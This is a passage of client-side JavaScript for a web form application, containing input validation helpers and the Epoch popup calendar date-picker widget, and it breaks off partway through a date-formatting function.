// JavaScript Document

function trim(s)
{
	return rtrim(ltrim(s));
}

function ltrim(s)
{
	var l=0;
	while(l < s.length && s[l] == ' ')
	{	l++; }
	return s.substring(l, s.length);
}

function rtrim(s)
{
	var r=s.length -1;
	while(r > 0 && s[r] == ' ')
	{	r-=1;	}
	return s.substring(0, r+1);
}

function confirmation()
{
 var ss=confirm("Are you sure you want to delete?");
 if(ss==true)
 {
 return true;
 }
 else
 {
 return false;
 }
}


//Validation for personal documents/contracting/required documents.
function checkContractingReqDoc()
{
  if(trim(document.form1.status.value)==0)
  {
  alert("Please select Status");
  document.form1.status.focus();
  return false;
  }
  if(!/(\.doc|\.pdf|\.txt)$/i.test(document.form1.uploaded_file.value)) 
  {
		alert("Invalid file type.");
		document.form1.uploaded_file.form.reset();
		document.form1.uploaded_file.focus();
		return false;
  }
  return true;
}

//validation for myprofile/personal information.
function myprofilePersonalinfo()
{
	if(trim(document.form1.code.value)==0)
	{
		alert("Please Enter Code");
		document.form1.code.focus();
		return false;
	}
	if(trim(document.form1.numbers.value)==0)
	{
		alert("Please Enter Nombre(s)");
		document.form1.numbers.focus();
		return false;
	}
	if(trim(document.form1.firstlast.value)==0)
	{
		alert("Please Enter First Name");
		document.form1.firstlast.focus();
		return false;
	}
	if(trim(document.form1.secondlast.value)==0)
	{
		alert("Please Enter Second Name");
		document.form1.secondlast.focus();
		return false;
	}
	if(trim(document.form1.dob.value)==0)
	{
		alert("Please Enter Date of Birth");
		document.form1.dob.focus();
		return false;
	}
	if(trim(document.form1.email.value)==0)
	{
		alert("Please Enter Company granted Email");
		document.form1.email.focus();
		return false;
	}
    if((trim(document.form1.email.value).indexOf('@')==-1) || (trim(document.form1.email.value).indexOf('.')==-1))
	{
		alert("Invalid Email Address");
		document.form1.email.focus();
		return false;
	}
	if(trim(document.form1.telephone.value)==0)
	{
		alert("Please Enter Company granted Telephone Number");
		document.form1.telephone.focus();
		return false;
	}
	if(trim(document.form1.msn.value)==0)
	{
		alert("Please Enter MSN");
		document.form1.msn.focus();
		return false;
	}
		if(!/(\.gif|\.jpg|\.jpeg)$/i.test(document.form1.photo.value)) 
        {
		alert("Photo should be jpg or gif.");
		document.form1.photo.focus();
		return false;
        }
        return true;
	
}

//Validation for system/companies.

function systemCompany()
{
	if(trim(document.form1.company_code.value)==0)
	{
		alert("Please Enter Company Code");
		document.form1.company_code.focus();
		return false;
	}
	if(trim(document.form1.company_name.value)==0)
	{
		alert("Please Enter Company Name");
		document.form1.company_name.focus();
		return false;
	}
	return true;
}

//Validation for system/projects.
function systemProject()
{
	if(trim(document.form1.project_code.value)==0)
	{
		alert("Please Enter Project Code");
		document.form1.project_code.focus();
		return false;
	}
	if(trim(document.form1.project_name.value)==0)
	{
		alert("Please Enter Project Name");
		document.form1.project_name.focus();
		return false;
	}
	return true;
}

//Validation for system/users.
function systemUser()
{
	
	if(trim(document.form1.usercode.value)==0)
	{
		alert("Enter user code");
		document.form1.usercode.focus();
		return false;
	}
	if(trim(document.form1.name.value)==0)
	{
		alert("Enter Name");
		document.form1.name.focus();
		return false;
	}
	if(trim(document.form1.firstlastname.value)==0)
	{
		alert("Enter First Name");
		document.form1.firstlastname.focus();
		return false;
	}
	if(trim(document.form1.charge.value)==0)
	{
		alert("Enter Charge");
		document.form1.charge.focus();
		return false;
	}
	if(document.form1.usertype.value=='')
	{
		alert("Select User Type");
		//document.form1.usertype.focus();
		return false;
	}
	    if(!/(\.gif|\.jpg|\.jpeg)$/i.test(document.form1.photo1.value)) 
        {
		alert("Photo should be jpg or gif.");
		document.form1.photo1.focus();
		return false;
        }
	return true;
}

<!--//Image validation
function validateFileExtensionimage(fld) {
	if(!/(\.bmp|\.gif|\.jpg|\.jpeg)$/i.test(fld.value)) {
		alert("Invalid image file type.");
		fld.form.reset();
		fld.focus();
		return false;
	}
	return true;
}
//-->

<!--//File validation
function validateFileExtension(fld) {
	if(!/(\.doc|\.pdf|\.txt)$/i.test(fld.value)) {
		alert("Invalid file type.");
		fld.form.reset();
		fld.focus();
		return false;
	}
	return true;
}
//-->


/*****************************************************************************/
//constructor for the main Epoch class (ENGLISH VERSION)
function Epoch(name,mode,targetelement,multiselect)
{
  this.state = 0;
  this.name = name;
  this.curDate = new Date();
  this.mode = mode;
  this.selectMultiple = (multiselect == true); //'false' is not true or not set at all
  
  //the various calendar variables
  //this.selectedDate = this.curDate;
  this.selectedDates = new Array();
  this.calendar;
  this.calHeading;
  this.calCells;
  this.rows;
  this.cols;
  this.cells = new Array();
  
  //The controls
  this.monthSelect;
  this.yearSelect;
  
  //standard initializations
  this.mousein = false;
  this.calConfig();
  this.setDays();
  this.displayYear = this.displayYearInitial;
  this.displayMonth = this.displayMonthInitial;
  
  this.createCalendar(); //create the calendar DOM element and its children, and their related objects
  
  if(this.mode == 'popup' && targetelement && targetelement.type == 'text') //if the target element has been set to be an input text box
  {
    this.tgt = targetelement;
    this.calendar.style.position = 'absolute';
    this.topOffset = this.tgt.offsetHeight; // the vertical distance (in pixels) to display the calendar from the Top of its input element
    this.leftOffset = 0;           // the horizontal distance (in pixels) to display the calendar from the Left of its input element
    this.calendar.style.top = this.getTop(targetelement) + this.topOffset + 'px';
    this.calendar.style.left = this.getLeft(targetelement) + this.leftOffset + 'px';
    document.body.appendChild(this.calendar);
    this.tgt.calendar = this;
    this.tgt.onfocus = function () {this.calendar.show();}; //the calendar will popup when the input element is focused
    this.tgt.onblur = function () {if(!this.calendar.mousein){this.calendar.hide();}}; //the calendar will popup when the input element is focused
  }
  else
  {
    this.container = targetelement;
   /* this.container.appendChild(this.calendar);*/
  }
  
  this.state = 2; //0: initializing, 1: redrawing, 2: finished!
  this.visible ? this.show() : this.hide();
}
//-----------------------------------------------------------------------------
Epoch.prototype.calConfig = function () //PRIVATE: initialize calendar variables
{
  //this.mode = 'flat'; //can be 'flat' or 'popup'
  this.displayYearInitial = this.curDate.getFullYear(); //the initial year to display on load
  this.displayMonthInitial = this.curDate.getMonth(); //the initial month to display on load (0-11)
  this.rangeYearLower = 1970;
  this.rangeYearUpper = 2037;
  this.minDate = new Date(1970,0,1);
  this.maxDate = new Date(2037,0,1);
  this.startDay = 0; // the day the week will 'start' on: 0(Sun) to 6(Sat)
  this.showWeeks = true; //whether the week numbers will be shown
  this.selCurMonthOnly = false; //allow user to only select dates in the currently displayed month
  this.clearSelectedOnChange = true; //whether to clear all selected dates when changing months
  
  //flat mode-only settings:
  //this.selectMultiple = true; //whether the user can select multiple dates (flat mode only)

  switch(this.mode) //set the variables based on the calendar mode
  {
    case 'popup': //popup options
      this.visible = false;
      break;
    case 'flat':
      this.visible = true;
      
      break;
  }
  this.setLang();
};
//-----------------------------------------------------------------------------
Epoch.prototype.setLang = function()  //all language settings for Epoch are made here.  Check Date.dateFormat() for the Date object's language settings
{
  this.daylist = new Array('Su','Mo','Tu','We','Th','Fr','Sa','Su','Mo','Tu','We','Th','Fr','Sa'); /*<lang:en>*/
  this.months_sh = new Array('Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec');
  this.monthup_title = 'Go to the next month';
  this.monthdn_title = 'Go to the previous month';
  this.clearbtn_caption = 'Clear';
  this.clearbtn_title = 'Clears any dates selected on the calendar';
  this.maxrange_caption = 'This is the maximum range';
};
//-----------------------------------------------------------------------------
Epoch.prototype.getTop = function (element) //PRIVATE: returns the absolute Top value of element, in pixels
{
    var oNode = element;
    var iTop = 0;
    
    while(oNode.tagName != 'BODY') {
        iTop += oNode.offsetTop;
        oNode = oNode.offsetParent;
    }
    
    return iTop;
};
//-----------------------------------------------------------------------------
Epoch.prototype.getLeft = function (element) //PRIVATE: returns the absolute Left value of element, in pixels
{
    var oNode = element;
    var iLeft = 0;
    
    while(oNode.tagName != 'BODY') {
        iLeft += oNode.offsetLeft;
        oNode = oNode.offsetParent;        
    }
    
    return iLeft;
};
//-----------------------------------------------------------------------------
Epoch.prototype.show = function () //PUBLIC: displays the calendar
{
  this.calendar.style.display = 'block';
  this.visible = true;
};
//-----------------------------------------------------------------------------
Epoch.prototype.hide = function () //PUBLIC: Hides the calendar
{
  this.calendar.style.display = 'none';
  this.visible = false;
};
//-----------------------------------------------------------------------------
Epoch.prototype.toggle = function () //PUBLIC: Toggles (shows/hides) the calendar depending on its current state
{
  if(this.visible) {
    this.hide();
  }
  else {
    this.show();
  }
};
//-----------------------------------------------------------------------------
Epoch.prototype.setDays = function ()  //PRIVATE: initializes the standard Gregorian Calendar parameters
{
  this.daynames = new Array();
  var j=0;
  for(var i=this.startDay; i< this.startDay + 7;i++) {
    this.daynames[j++] = this.daylist[i];
  }
    
  this.monthDayCount = new Array(31,((this.curDate.getFullYear() - 2000) % 4 ? 28 : 29),31,30,31,30,31,31,30,31,30,31);
};
//-----------------------------------------------------------------------------
Epoch.prototype.setClass = function (element,className) //PRIVATE: sets the CSS class of the element, W3C & IE
{
  element.setAttribute('class',className);
  element.setAttribute('className',className); //<iehack>
};
//-----------------------------------------------------------------------------
Epoch.prototype.createCalendar = function ()  //PRIVATE: creates the full DOM implementation of the calendar
{
  var tbody, tr, td;
  this.calendar = document.createElement('table');
  this.calendar.setAttribute('id',this.name+'_calendar');
  this.setClass(this.calendar,'calendar');
  //to prevent IE from selecting text when clicking on the calendar
  this.calendar.onselectstart = function() {return false;};
  this.calendar.ondrag = function() {return false;};
  tbody = document.createElement('tbody');
  
  //create the Main Calendar Heading
  tr = document.createElement('tr');
  td = document.createElement('td');
  td.appendChild(this.createMainHeading());
  tr.appendChild(td);
  tbody.appendChild(tr);
  
  //create the calendar Day Heading
  tr = document.createElement('tr');
  td = document.createElement('td');
  td.appendChild(this.createDayHeading());
  tr.appendChild(td);
  tbody.appendChild(tr);

  //create the calendar Day Cells
  tr = document.createElement('tr');
  td = document.createElement('td');
  td.setAttribute('id',this.name+'_cell_td');
  this.calCellContainer = td;  //used as a handle for manipulating the calendar cells as a whole
  td.appendChild(this.createCalCells());
  tr.appendChild(td);
  tbody.appendChild(tr);
  
  //create the calendar footer
  tr = document.createElement('tr');
  td = document.createElement('td');
  td.appendChild(this.createFooter());
  tr.appendChild(td);
  tbody.appendChild(tr);
  
  //add the tbody element to the main calendar table
  this.calendar.appendChild(tbody);

  //and add the onmouseover events to the calendar table
  this.calendar.owner = this;
  this.calendar.onmouseover = function() {this.owner.mousein = true;};
  this.calendar.onmouseout = function() {this.owner.mousein = false;};
};
//-----------------------------------------------------------------------------
Epoch.prototype.createMainHeading = function () //PRIVATE: Creates the primary calendar heading, with months & years
{
  //create the containing <div> element
  var container = document.createElement('div');
  container.setAttribute('id',this.name+'_mainheading');
  this.setClass(container,'mainheading');
  //create the child elements and other variables
  this.monthSelect = document.createElement('select');
  this.yearSelect = document.createElement('select');
  var monthDn = document.createElement('input'), monthUp = document.createElement('input');
  var opt, i;
  //fill the month select box
  for(i=0;i<12;i++)
  {
    opt = document.createElement('option');
    opt.setAttribute('value',i);
    if(this.state == 0 && this.displayMonth == i) {
      opt.setAttribute('selected','selected');
    }
    opt.appendChild(document.createTextNode(this.months_sh[i]));
    this.monthSelect.appendChild(opt);
  }
  //and fill the year select box
  for(i=this.rangeYearLower;i<=this.rangeYearUpper;i++)
  {
    opt = document.createElement('option');
    opt.setAttribute('value',i);
    if(this.state == 0 && this.displayYear == i) {
      opt.setAttribute('selected','selected');
    }
    opt.appendChild(document.createTextNode(i));
    this.yearSelect.appendChild(opt);    
  }
  //add the appropriate children for the month buttons
  monthUp.setAttribute('type','button');
  monthUp.setAttribute('value','>');
  monthUp.setAttribute('title',this.monthup_title);
  monthDn.setAttribute('type','button');
  monthDn.setAttribute('value','<');
  monthDn.setAttribute('title',this.monthdn_title);
  this.monthSelect.owner = this.yearSelect.owner = monthUp.owner = monthDn.owner = this;  //hack to allow us to access this calendar in the events (<fix>??)
  
  //assign the event handlers for the controls
  monthUp.onmouseup = function () {this.owner.nextMonth();};
  monthDn.onmouseup = function () {this.owner.prevMonth();};
  this.monthSelect.onchange = function() {
    this.owner.displayMonth = this.value;
    this.owner.displayYear = this.owner.yearSelect.value; 
    this.owner.goToMonth(this.owner.displayYear,this.owner.displayMonth);
  };
  this.yearSelect.onchange = function() {
    this.owner.displayMonth = this.owner.monthSelect.value;
    this.owner.displayYear = this.value; 
    this.owner.goToMonth(this.owner.displayYear,this.owner.displayMonth);
  };
  
  //and finally add the elements to the containing div
  container.appendChild(monthDn);
  container.appendChild(this.monthSelect);
  container.appendChild(this.yearSelect);
  container.appendChild(monthUp);
  return container;
};
//-----------------------------------------------------------------------------
Epoch.prototype.createFooter = function () //PRIVATE: creates the footer of the calendar - goes under the calendar cells
{
  var container = document.createElement('div');
  var clearSelected = document.createElement('input');
  clearSelected.setAttribute('type','button');
  clearSelected.setAttribute('value',this.clearbtn_caption);
  clearSelected.setAttribute('title',this.clearbtn_title);
  clearSelected.owner = this;
  clearSelected.onclick = function() { this.owner.resetSelections(false);};
  container.appendChild(clearSelected);
  return container;
};
//-----------------------------------------------------------------------------
Epoch.prototype.resetSelections = function (returnToDefaultMonth)  //PRIVATE: reset the calendar's selection variables to defaults
{
  this.selectedDates = new Array();
  this.rows = new Array(false,false,false,false,false,false,false);
  this.cols = new Array(false,false,false,false,false,false,false);
  if(this.tgt)  //if there is a target element, clear it too
  {
    this.tgt.value = '';
    if(this.mode == 'popup') {//hide the calendar if in popup mode
      this.hide();
    }
  }
    
  if(returnToDefaultMonth == true) {
    this.goToMonth(this.displayYearInitial,this.displayMonthInitial);
  }
  else {
    this.reDraw();
  }
};
//-----------------------------------------------------------------------------
Epoch.prototype.createDayHeading = function ()  //PRIVATE: creates the heading containing the day names
{
  //create the table element
  this.calHeading = document.createElement('table');
  this.calHeading.setAttribute('id',this.name+'_caldayheading');
  this.setClass(this.calHeading,'caldayheading');
  var tbody,tr,td;
  tbody = document.createElement('tbody');
  tr = document.createElement('tr');
  this.cols = new Array(false,false,false,false,false,false,false);
  
  //if we're showing the week headings, create an empty <td> for filler
  if(this.showWeeks)
  {
    td = document.createElement('td');
    td.setAttribute('class','wkhead');
    td.setAttribute('className','wkhead'); //<iehack>
    tr.appendChild(td);
  }
  //populate the day titles
  for(var dow=0;dow<7;dow++)
  {
    td = document.createElement('td');
    td.appendChild(document.createTextNode(this.daynames[dow]));
    if(this.selectMultiple) { //if selectMultiple is true, assign the cell a CalHeading Object to handle all events
      td.headObj = new CalHeading(this,td,(dow + this.startDay < 7 ? dow + this.startDay : dow + this.startDay - 7));
    }
    tr.appendChild(td);
  }
  tbody.appendChild(tr);
  this.calHeading.appendChild(tbody);
  return this.calHeading;  
};
//-----------------------------------------------------------------------------
Epoch.prototype.createCalCells = function ()  //PRIVATE: creates the table containing the calendar day cells
{
  this.rows = new Array(false,false,false,false,false,false);
  this.cells = new Array();
  var row = -1, totalCells = (this.showWeeks ? 48 : 42);
  var beginDate = new Date(this.displayYear,this.displayMonth,1);
  var endDate = new Date(this.displayYear,this.displayMonth,this.monthDayCount[this.displayMonth]);
  var sdt = new Date(beginDate);
  sdt.setDate(sdt.getDate() + (this.startDay - beginDate.getDay()) - (this.startDay - beginDate.getDay() > 0 ? 7 : 0) );
  //create the table element
  this.calCells = document.createElement('table');
  this.calCells.setAttribute('id',this.name+'_calcells');
  this.setClass(this.calCells,'calcells');
  var tbody,tr,td;
  tbody = document.createElement('tbody');
  for(var i=0;i<totalCells;i++)
  {
    if(this.showWeeks) //if we are showing the week headings
    {
      if(i % 8 == 0)
      {
        row++;
        tr = document.createElement('tr');
        td = document.createElement('td');
        if(this.selectMultiple) { //if selectMultiple is enabled, create the associated weekObj objects
          td.weekObj = new WeekHeading(this,td,sdt.getWeek(),row)
        }
        else //otherwise just set the class of the td for consistent look
        {
          td.setAttribute('class','wkhead');
          td.setAttribute('className','wkhead'); //<iehack>
        }
        td.appendChild(document.createTextNode(sdt.getWeek()));      
        tr.appendChild(td);
        i++;
      }
    }
    else if(i % 7 == 0) //otherwise, new row every 7 cells
    {
      row++;
      tr = document.createElement('tr');
    }
    //create the day cells
    td = document.createElement('td');
    td.appendChild(document.createTextNode(sdt.getDate()));// +' ' +sdt.getUeDay()));
    var cell = new CalCell(this,td,sdt,row);
    this.cells.push(cell);
    td.cellObj = cell;
    sdt.setDate(sdt.getDate() + 1); //increment the date
    tr.appendChild(td);
    tbody.appendChild(tr);
  }
  this.calCells.appendChild(tbody);
  this.reDraw();
  return this.calCells;
};
//-----------------------------------------------------------------------------
Epoch.prototype.reDraw = function () //PRIVATE: reapplies all the CSS classes for the calendar cells, usually called after chaning their state
{
  this.state = 1;
  var i,j;
  for(i=0;i<this.cells.length;i++) {
    this.cells[i].selected = false;
  }
  for(i=0;i<this.cells.length;i++)
  {
    for(j=0;j<this.selectedDates.length;j++) { //if the cell's date is in the selectedDates array, set its selected property to true
      if(this.cells[i].date.getUeDay() == this.selectedDates[j].getUeDay() ) {
        this.cells[i].selected = true;
      }
    }

    this.cells[i].setClass();
  }
  //alert(this.selectedDates);
  this.state = 2;
};
//-----------------------------------------------------------------------------
Epoch.prototype.deleteCells = function () //PRIVATE: removes the calendar cells from the DOM (does not delete the cell objects associated with them
{
  this.calCellContainer.removeChild(this.calCellContainer.firstChild); //get a handle on the cell table (optional - for less indirection)
  this.cells = new Array(); //reset the cells array
};
//-----------------------------------------------------------------------------
Epoch.prototype.goToMonth = function (year,month) //PUBLIC: sets the calendar to display the requested month/year
{
  this.monthSelect.value = this.displayMonth = month;
  this.yearSelect.value = this.displayYear = year;
  this.deleteCells();
  this.calCellContainer.appendChild(this.createCalCells());
};
//-----------------------------------------------------------------------------
Epoch.prototype.nextMonth = function () //PUBLIC: go to the next month.  if the month is december, go to january of the next year
{
  
  //increment the month/year values, provided they're within the min/max ranges
  if(this.monthSelect.value < 11) {
    this.monthSelect.value++;
  }
  else
  {
    if(this.yearSelect.value < this.rangeYearUpper)
    {
      this.monthSelect.value = 0;
      this.yearSelect.value++;
    }
    else {
      alert(this.maxrange_caption);
    }
  }
  //assign the currently displaying month/year values
  this.displayMonth = this.monthSelect.value;
  this.displayYear = this.yearSelect.value;
  
  //and refresh the calendar for the new month/year
  this.deleteCells();
  this.calCellContainer.appendChild(this.createCalCells());
};
//-----------------------------------------------------------------------------
Epoch.prototype.prevMonth = function () //PUBLIC: go to the previous month.  if the month is january, go to december of the previous year
{
  //increment the month/year values, provided they're within the min/max ranges
  if(this.monthSelect.value > 0)
    this.monthSelect.value--;
  else
  {
    if(this.yearSelect.value > this.rangeYearLower)
    {
      this.monthSelect.value = 11;
      this.yearSelect.value--;
    }
    else {
      alert(this.maxrange_caption);
    }
  }
  
  //assign the currently displaying month/year values
  this.displayMonth = this.monthSelect.value;
  this.displayYear = this.yearSelect.value;
  
  //and refresh the calendar for the new month/year
  this.deleteCells();
  this.calCellContainer.appendChild(this.createCalCells());
};
//-----------------------------------------------------------------------------
Epoch.prototype.addZero = function (vNumber) //PRIVATE: pads a 2 digit number with a leading zero
{
  return ((vNumber < 10) ? '0' : '') + vNumber;
};
//-----------------------------------------------------------------------------
Epoch.prototype.addDates = function (dates,redraw)  //PUBLIC: adds the array "dates" to the calendars selectedDates array (no duplicate dates) and redraws the calendar
{
  var j,in_sd;
  for(var i=0;i<dates.length;i++)
  {  
    in_sd = false;
    for(j=0;j<this.selectedDates.length;j++)
    {
      if(dates[i].getUeDay() == this.selectedDates[j].getUeDay())
      {
        in_sd = true;
        break;
      }
    }
    if(!in_sd) { //if the date isn't already in the array, add it!
      this.selectedDates.push(dates[i]);
    }
  }
  if(redraw != false) {//redraw  the calendar if "redraw" is false or undefined
    this.reDraw();
  }
};
//-----------------------------------------------------------------------------
Epoch.prototype.removeDates = function (dates,redraw)  //PUBLIC: adds the dates to the calendars selectedDates array and redraws the calendar
{
  var j;
  for(var i=0;i<dates.length;i++)
  {
    for(j=0;j<this.selectedDates.length;j++)
    {
      if(dates[i].getUeDay() == this.selectedDates[j].getUeDay()) { //search for the dates in the selectedDates array, removing them if the dates match
        this.selectedDates.splice(j,1);
      }
    }
  }
  if(redraw != false) { //redraw  the calendar if "redraw" is false or undefined
    this.reDraw();
  }
};
//-----------------------------------------------------------------------------
Epoch.prototype.outputDate = function (vDate, vFormat) //PUBLIC: outputs a date in the appropriate format (DEPRECATED)
{
  var vDay      = this.addZero(vDate.getDate()); 
  var vMonth      = this.addZero(vDate.getMonth() + 1); 
  var vYearLong    = this.addZero(vDate.getFullYear()); 
  var vYearShort    = this.addZero(vDate.getFullYear().toString().substring(3,4)); 
  var vYear      = (vFormat.indexOf('yyyy') > -1 ? vYearLong : vYearShort);
  var vHour      = this.addZero(vDate.getHours()); 
  var vMinute      = this.addZero(vDate.getMinutes()); 
  var vSecond      = this.addZero(vDate.getSeconds()); 
  return vFormat.replace(/dd/g, vDay).replace(/mm/g, vMonth).replace(/y{1,4}/g, vYear).replace(/hh/g, vHour).replace(/nn/g, vMinute).replace(/ss/g, vSecond);
};
//-----------------------------------------------------------------------------
Epoch.prototype.updatePos = function (target) //PUBLIC: moves the calendar's position to target's location (popup mode only)
{
  this.calendar.style.top = this.getTop(target) + this.topOffset + 'px'
  this.calendar.style.left = this.getLeft(target) + this.leftOffset + 'px'
}
//-----------------------------------------------------------------------------

/*****************************************************************************/
function CalHeading(owner,tableCell,dow)
{
  this.owner = owner;
  this.tableCell = tableCell;
  this.dayOfWeek = dow;
  
  //the event handlers
  this.tableCell.onclick = this.onclick;
}
//-----------------------------------------------------------------------------
CalHeading.prototype.onclick = function ()
{
  //reduce indirection:
  var owner = this.headObj.owner;
  var sdates = owner.selectedDates;
  var cells = owner.cells;
  
  owner.cols[this.headObj.dayOfWeek] = !owner.cols[this.headObj.dayOfWeek];
  for(var i=0;i<cells.length;i++) //cycle through all the cells in the calendar, selecting all cells with the same dayOfWeek as this heading
  {
    if(cells[i].dayOfWeek == this.headObj.dayOfWeek && (!owner.selCurMonthOnly || cells[i].date.getMonth() == owner.displayMonth && cells[i].date.getFullYear() == owner.displayYear)) //if the cell's DoW matches, with other conditions
    {
      if(owner.cols[this.headObj.dayOfWeek])     //if selecting, add the cell's date to the selectedDates array
      {
        if(owner.selectedDates.arrayIndex(cells[i].date) == -1) { //if the date isn't already in the array
          sdates.push(cells[i].date);
        }
      }
      else                    //otherwise, remove it
      {
        for(var j=0;j<sdates.length;j++) 
        {
          if(cells[i].dayOfWeek == sdates[j].getDay())
          {
            sdates.splice(j,1);  //remove dates that are within the displaying month/year that have the same day of week as the day cell
            break;
          }
        }
      }
      cells[i].selected = owner.cols[this.headObj.dayOfWeek];
    }
  }
  owner.reDraw();
};
/*****************************************************************************/
function WeekHeading(owner,tableCell,week,row)
{
  this.owner = owner;
  this.tableCell = tableCell;
  this.week = week;
  this.tableRow = row;
  this.tableCell.setAttribute('class','wkhead');
  this.tableCell.setAttribute('className','wkhead'); //<iehack>
  //the event handlers
  this.tableCell.onclick = this.onclick;
}
//-----------------------------------------------------------------------------
WeekHeading.prototype.onclick = function ()
{
  //reduce indirection:
  var owner = this.weekObj.owner;
  var cells = owner.cells;
  var sdates = owner.selectedDates;
  var i,j;
  owner.rows[this.weekObj.tableRow] = !owner.rows[this.weekObj.tableRow];
  for(i=0;i<cells.length;i++)
  {
    if(cells[i].tableRow == this.weekObj.tableRow)
    {
      if(owner.rows[this.weekObj.tableRow] && (!owner.selCurMonthOnly || cells[i].date.getMonth() == owner.displayMonth && cells[i].date.getFullYear() == owner.displayYear)) //match all cells in the current row, with option to restrict to current month only
      {
        if(owner.selectedDates.arrayIndex(cells[i].date) == -1) {//if the date isn't already in the array
          sdates.push(cells[i].date);
        }
      }
      else                    //otherwise, remove it
      {
        for(j=0;j<sdates.length;j++)
        {
          if(sdates[j].getTime() == cells[i].date.getTime())  //this.weekObj.tableRow && sdates[j].getMonth() == owner.displayMonth && sdates[j].getFullYear() == owner.displayYear)
          {
            sdates.splice(j,1);  //remove dates that are within the displaying month/year that have the same day of week as the day cell
            break;
          }
        }
      }
    }
  }
  owner.reDraw();
};
/*****************************************************************************/
//-----------------------------------------------------------------------------
function CalCell(owner,tableCell,dateObj,row)
{
  this.owner = owner;    //used primarily for event handling
  this.tableCell = tableCell;       //the link to this cell object's table cell in the DOM
  this.cellClass;      //the CSS class of the cell
  this.selected = false;  //whether the cell is selected (and is therefore stored in the owner's selectedDates array)
  this.date = new Date(dateObj);
  this.dayOfWeek = this.date.getDay();
  this.week = this.date.getWeek();
  this.tableRow = row;
  
  //assign the event handlers for the table cell element
  this.tableCell.onclick = this.onclick;
  this.tableCell.onmouseover = this.onmouseover;
  this.tableCell.onmouseout = this.onmouseout;
  
  //and set the CSS class of the table cell
  this.setClass();
}
//-----------------------------------------------------------------------------
CalCell.prototype.onmouseover = function () //replicate CSS :hover effect for non-supporting browsers <iehack>
{
  this.setAttribute('class',this.cellClass + ' hover');
  this.setAttribute('className',this.cellClass + ' hover');
};
//-----------------------------------------------------------------------------
CalCell.prototype.onmouseout = function () //replicate CSS :hover effect for non-supporting browsers <iehack>
{
  this.cellObj.setClass();
};
//-----------------------------------------------------------------------------
CalCell.prototype.onclick = function () 
{
  //reduce indirection:
  var cell = this.cellObj;
  var owner = cell.owner;
  if(!owner.selCurMonthOnly || cell.date.getMonth() == owner.displayMonth && cell.date.getFullYear() == owner.displayYear)
  {
    if(owner.selectMultiple == true)  //if we can select multiple cells simultaneously, add the currently selected cell's date to the selectedDates array
    {
      if(!cell.selected) //if this cell has been selected
      {
        if(owner.selectedDates.arrayIndex(cell.date) == -1) {
          owner.selectedDates.push(cell.date);
        }
      }
      else    
      {
        var tmp = owner.selectedDates; // to reduce indirection
        //if the cell has been deselected, remove it from the owner calendar's selectedDates array
        for(var i=0;i<tmp.length;i++)
        {
          if(tmp[i].getUeDay() == cell.date.getUeDay()) {
            tmp.splice(i,1);
          }
        }
      }
    }
    else //if we can only select one cell at a time
    {
      owner.selectedDates = new Array(cell.date);
      if(owner.tgt) //if there is a target element to place the value in, do so
      {
        owner.tgt.value = owner.selectedDates[0].dateFormat();
        if(owner.mode == 'popup') {
          owner.hide();
        }
      }
    }
    owner.reDraw(); //redraw the calendar cell styles to reflect the changes
  }
};
//-----------------------------------------------------------------------------
CalCell.prototype.setClass = function ()  //private: sets the CSS class of the cell based on the specified criteria
{
  if(this.selected) {
    this.cellClass = 'cell_selected';
  }
  else if(this.owner.displayMonth != this.date.getMonth() ) {
    this.cellClass = 'notmnth';  
  }
  else if(this.date.getDay() > 0 && this.date.getDay() < 6) {
    this.cellClass = 'wkday';
  }
  else {
    this.cellClass = 'wkend';
  }
  
  if(this.date.getFullYear() == this.owner.curDate.getFullYear() && this.date.getMonth() == this.owner.curDate.getMonth() && this.date.getDate() == this.owner.curDate.getDate()) {
    this.cellClass = this.cellClass + ' curdate';
  }

  this.tableCell.setAttribute('class',this.cellClass);
  this.tableCell.setAttribute('className',this.cellClass); //<iehack>
};
/*****************************************************************************/
Date.prototype.getDayOfYear = function () //returns the day of the year for this date
{
  return parseInt((this.getTime() - new Date(this.getFullYear(),0,1).getTime())/86400000 + 1);
};
//-----------------------------------------------------------------------------
Date.prototype.getWeek = function () //returns the day of the year for this date
{
  return parseInt((this.getTime() - new Date(this.getFullYear(),0,1).getTime())/604800000 + 1);
};
/*function getISOWeek()
{
  var newYear = new Date(this.getFullYear(),0,1);
  var modDay = newYear.getDay();
  if (modDay == 0) modDay=6; else modDay--;
  
  var daynum = ((Date.UTC(this.getFullYear(),this.getMonth(),this.getDate(),0,0,0) - Date.UTC(this.getFullYear()),0,1,0,0,0)) /1000/60/60/24) + 1;
  
  if (modDay < 4 ) {
      var weeknum = Math.floor((daynum+modDay-1)/7)+1;
  }
  else {
      var weeknum = Math.floor((daynum+modDay-1)/7);
      if (weeknum == 0) {
          year--;
          var prevNewYear = new Date(this.getFullYear(),0,1);
          var prevmodDay = prevNewYear.getDay();
          if (prevmodDay == 0) prevmodDay = 6; else prevmodDay--;
          if (prevmodDay < 4) weeknum = 53; else weeknum = 52;
      }
  }
  
  return + weeknum;
}*/
//-----------------------------------------------------------------------------
Date.prototype.getUeDay = function () //returns the number of DAYS since the UNIX Epoch - good for comparing the date portion
{
  return parseInt(Math.floor((this.getTime() - this.getTimezoneOffset() * 60000)/86400000)); //must take into account the local timezone
};
//-----------------------------------------------------------------------------
Date.prototype.dateFormat = function(format)
{
  if(!format) { // the default date format to use - can be customized to the current locale
    format = 'd/m/Y';
  }
  LZ = function(x) {return(x < 0 || x > 9 ? '' : '0') + x};
  var MONTH_NAMES = new Array('January','February','March','April','May','June','July','August','September','October','November','December','Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec');
  var DAY_NAMES = new Array('Sunday','Monday','Tuesday','Wednesday','Thursday','Friday','Saturday','Sun','Mon','Tue','Wed','Thu','Fri','Sat');
  format = format + "";
  var result="";
  var i_format=0;
  var c="";
  var token="";
  var y=this.getFullYear().toString();
  var M=this.getMonth()+1;
  var d=this.getDate();
  var E=this.getDay();
  var H=this.getHours();
  var m=this.getMinutes();
  var s=this.getSeconds();
  var yyyy,yy,MMM,MM,dd,hh,h,mm,ss,ampm,HH,H,KK,K,kk,k;
  // Convert real this parts into formatted versions
  var value = new Object();
  //if (y.length < 4) {y=''+(y-0+1900);}
  value['Y'] = y.toString();
  value['y'] = y.substring(2);
  value['n'] = M;
  value['m'] = LZ(M);
  value['F'] = MONTH_NAMES[M-1];
  value['M'] = MONTH_NAMES[M+11];
  value['j'] = d;
  value['d'] = LZ(d);
  value['D'] = DAY_NAMES[E+7];
  value['l'] = DAY_NAMES[E];
  value['G'] = H;
  value['H'] = LZ(H);
  if (H==0) {value['g']=12;}
  else if (H>12){value['g']=H-12;}
